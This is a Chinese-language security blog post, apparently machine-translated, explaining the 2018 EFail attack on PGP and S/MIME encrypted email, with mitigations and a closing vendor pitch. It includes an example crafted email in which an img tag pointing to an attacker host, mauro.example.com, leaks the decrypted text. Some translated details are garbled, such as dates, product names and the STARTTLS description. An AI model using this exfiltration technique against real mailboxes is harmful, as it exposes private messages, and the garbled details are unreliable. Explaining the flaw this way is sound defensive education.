作者:Conrado Gouvêa
一个名为“EFail”于14年2018月XNUMX日由欧洲大学的研究人员披露。该漏洞主要利用了加密电子邮件应用程序(PGP和S/MIME)中的一个漏洞。攻击者只需访问加密邮件,并让受害者运行存在漏洞的软件,即可读取原始邮件。
在这篇文章中,我们将更详细地解释此漏洞的工作原理。
什么是 PGP 和 S/MIME?
如果以标准方式发送,通过电子邮件发送的消息和文件是不安全的。过去,所有电子邮件都是以明文形式发送的,也就是说,没有任何安全机制来保护它们。任何攻击者都能够阅读和更改传输中的电子邮件。
随着时间的推移,诸如 STARTTLS 之类的方案为电子邮件添加了加密,但是这种加密是“端到端的”。这种保护传输中数据的方式并不能保护电子邮件服务器上的消息,即恶意的系统管理员可以读取电子邮件服务器上所有帐户的电子邮件。
假设 Alice 从她的 GMail 帐户向在 Yahoo 上有电子邮件的 Bob 发送了一封电子邮件:
- Alice 的电子邮件客户端对消息进行加密并将其发送到 GMail 服务器。
- GMail 解密邮件并将其保存在服务器上
- GMail 将邮件重新加密并发送给 Yahoo
- Yahoo 解密该消息并将其保存在服务器上
- Yahoo 向 Beto 提供消息
这种方案显然存在几个弱点:不诚实的 GMail 或 Yahoo 员工或侵入他们的黑客能够清楚地阅读消息。
因此,我们使用端到端加密。在其中,Alice 将消息直接加密发送给 Bob。两者 GMail、雅虎或任何其他中介都无法解密该消息。
OS/MIME 是一种安全的电子邮件协议,允许端到端加密,广泛用于企业环境中。 PGP 是一种加密文件标准,也可以用于电子邮件; PGP 最著名的实现是开源软件 GPG。
许多电子邮件客户端通常原生支持 OS/MIME,而 PGP 则通过插件支持,例如 Enigmail(用于 Thunderbird)、GPG4win(Outlook)和 GPGTools(Apple Mail)。
攻击
此次攻击利用了电子邮件客户端(或网络邮件)和电子邮件加密软件(PGP 或 S/MIME 标准)中的多种缺陷。存在无数种脆弱的组合。在某些情况下,攻击不需要与受害者进行任何互动:他们所要做的就是打开一封电子邮件。在其他情况下,受害者需要与电子邮件进行交互,例如通过点击它。
主要易受攻击的软件包括:
- 使用 S/MIME 或 GPG2007win 插件的 Outlook 2010 和 4
- 使用 S/MIME 或 GPG4win 插件的 Thunderbird
- 使用 S/MIME 或 GPGTools 插件的 Apple Mail
- 使用 S/MIME 的 iOS 邮件应用程序
- 使用 S/MIME 的 GMail
完整名单位于描述此次袭击的文章的最后几页。
如何减轻攻击?
可以通过禁用电子邮件客户端中外部图像和脚本的加载并删除任何先前添加的例外来缓解攻击。与 Apple Mail 不同,Thunderbird 中此功能默认是禁用的。
电子邮件客户端将更新额外的缓解措施;因此,保持更新极其重要。
我是否应该停止使用 PGP/GPG 或 S/MIME?
这一缺陷以及其他先前的缺陷,加上使用这些工具的困难,导致建议不要继续使用 PGP/GPG 或 S/MIME。 Signal 和 WhatsApp 等即时通讯应用程序更易于使用且更安全。
但是,如果需要,仍然可以使用 PGP/GPG 和 S/MIME,但要小心并正确配置电子邮件客户端。特别是,建议使用 PGP/GPG 而不是 S/MIME,因为后者不提供任何防止 EFail 攻击的机制,如下文所述。
攻击者需要什么来实施攻击?
攻击者需要:
获取加密电子邮件。注意他可能使用很久以前获得的加密电子邮件;
根据攻击情况,以特定方式更改加密电子邮件;
将加密的电子邮件发送给邮件的原始收件人之一;
收件人必须使用有漏洞的客户端打开电子邮件。在某些情况下,受害者还需要与电子邮件进行交互,例如点击它。
攻击是如何进行的?
此次攻击利用了两个漏洞。
直接提取
第一种形式,攻击者创建一条新消息,其中包含要攻击的加密消息。大多数客户端都允许这种可塑性:加密部分被解密并与清晰部分一起显示。
原则上,仅此一点并不会造成漏洞,但一些客户端会将消息的不同部分合并起来,从而绕过对 HTML 格式的任何验证。
例如,假设 Alice 向 Bob 发送加密消息:“我的密码是 aH67ko%”,我们将此加密消息表示为“TZ9MnPcCmuYAJxkMeyk7”。
攻击者 Mauro 截获了这封电子邮件,整理了以下电子邮件并将其发送给 Beto:
第 1 部分(明文):亲爱的 Beto,< img src=”http://mauro.example.com/ 第 2 部分(加密):TZ9MnPcCmuYAJxkMeyk7 第 3 部分(明文): “> 您收到我的密码了吗?爱丽丝
Beto 的易受攻击的客户端解密第二部分,将其与其他两部分连接起来,并以 HTML 格式显示以下电子邮件:
亲爱的 Beto,< img src=”http://mauro.example.com/My password is aH67ko%” > 你收到我的密码了吗?爱丽丝
一些客户端,例如 Apple Mail,会自动加载 URL“http://mauro.example.com/My password is aH67ko%”中指向的图像,其中包含 Alice 发送的密码。 Mauro 控制着服务器“mauro.example.com”,可以访问所访问的 URL,然后能够阅读 Alice 的加密消息。
其他客户端(例如 Thunderbird)默认阻止外部图像加载。但是,它会向用户显示一条消息,表明已发生锁定,并允许他们添加例外,甚至完全禁用锁定。
还有其他更复杂的秘密提取方法,不涉及标签。 来自 HTML。攻击者可以向电子邮件添加样式表,该样式表显示一个表单,单击该表单时,会将消息的整个解密部分发送到攻击者的服务器。
利用延展性进行开采
理想情况下,当消息被加密时,它也应该受到消息认证码(MAC)的保护。这样,如果传输过程中加密消息发生任何变化,收件人就可以检测到,并且可以丢弃该消息而不打开它。
然而,在创建时,S/MIME 和 PGP/GPG 都没有使用 MAC,因为当时它们的重要性尚未得到充分认识。
这使得攻击者可以以插入新数据或更改现有数据的方式更改加密消息。这样,他就可以进行与前一次类似的攻击,插入标签“” 位于邮件开头,以便邮件的其余部分包含在图像地址中,并且该图像由易受攻击的客户端加载,从而使攻击者能够阅读整个原始邮件。
PGP/GPG 最终添加了类似于 MAC 的机制,称为 MDC(修改检测代码)。但是,由于 PGP 格式中 MDC 的指定方式,攻击者可以简单地删除 MDC 或更改消息类型以表明它不受 MDC 保护。在这些情况下,许多软件只是发出警告,而电子邮件客户端通常会忽略该警告。
我们得到了什么教训?
EFail 利用了许多缺陷:
一些电子邮件客户端允许邮件同时包含明文和加密部分,以危险的方式合并它们;
一些电子邮件客户端会加载外部图像或脚本,允许攻击者提取解密消息的片段并将其发送到他们控制的服务器,以便可以阅读消息;
S/MIME 格式不提供检测加密消息变化的机制,允许攻击者以某种方式对其进行更改,当解密时,它会将消息泄露给攻击者,利用电子邮件客户端中先前的缺陷;
PGP/GPG 格式提供了这样一种机制,但由于该机制的规范和处理存在缺陷,攻击者很容易绕过它。
因此,有必要:
通过更强大的方法来防止加载外部图像和脚本,从而提高电子邮件客户端的安全性;
强化 PGP/GPG,使其无法忽略消息认证检查中的失败;
按照现代密码学的最佳实践,更新 S/MIME 和 PGP/GPG 格式以使用消息认证码。不幸的是,这项任务需要花费时间并需要多名软件开发人员的协调。
不幸的是,许多使用的加密标准已经过时,无法跟上该领域的进步。即使在今天,安全地发送一封简单的加密电子邮件仍然非常困难,这一事实值得反思。
很难确定解决问题的最佳选择是什么:更新此类格式并遭受兼容性问题和遗留软件的困扰?创建一种新格式并努力使其被采用?放弃使用电子邮件进行安全通信,使用其他机制,例如 Signal 等即时通讯应用程序, WhatsApp ou Telegram?
正如您所见,还有很多工作要做。
Kryptus 能如何帮助我?
为了确保 100% 安全的通信, 克里普托斯 可以为您的内部通信提供定制的安全和加密服务。我们在这些解决方案方面拥有丰富的专业知识,并为国家开发了项目。
此外,我们还可以为您提供解决方案 网络安全,为组织制定加密策略提供咨询。我们有能力协助您的加密策略,并帮助您识别和决定需要保护什么以及如何保护,因为最近泄露的敏感信息大多未加密。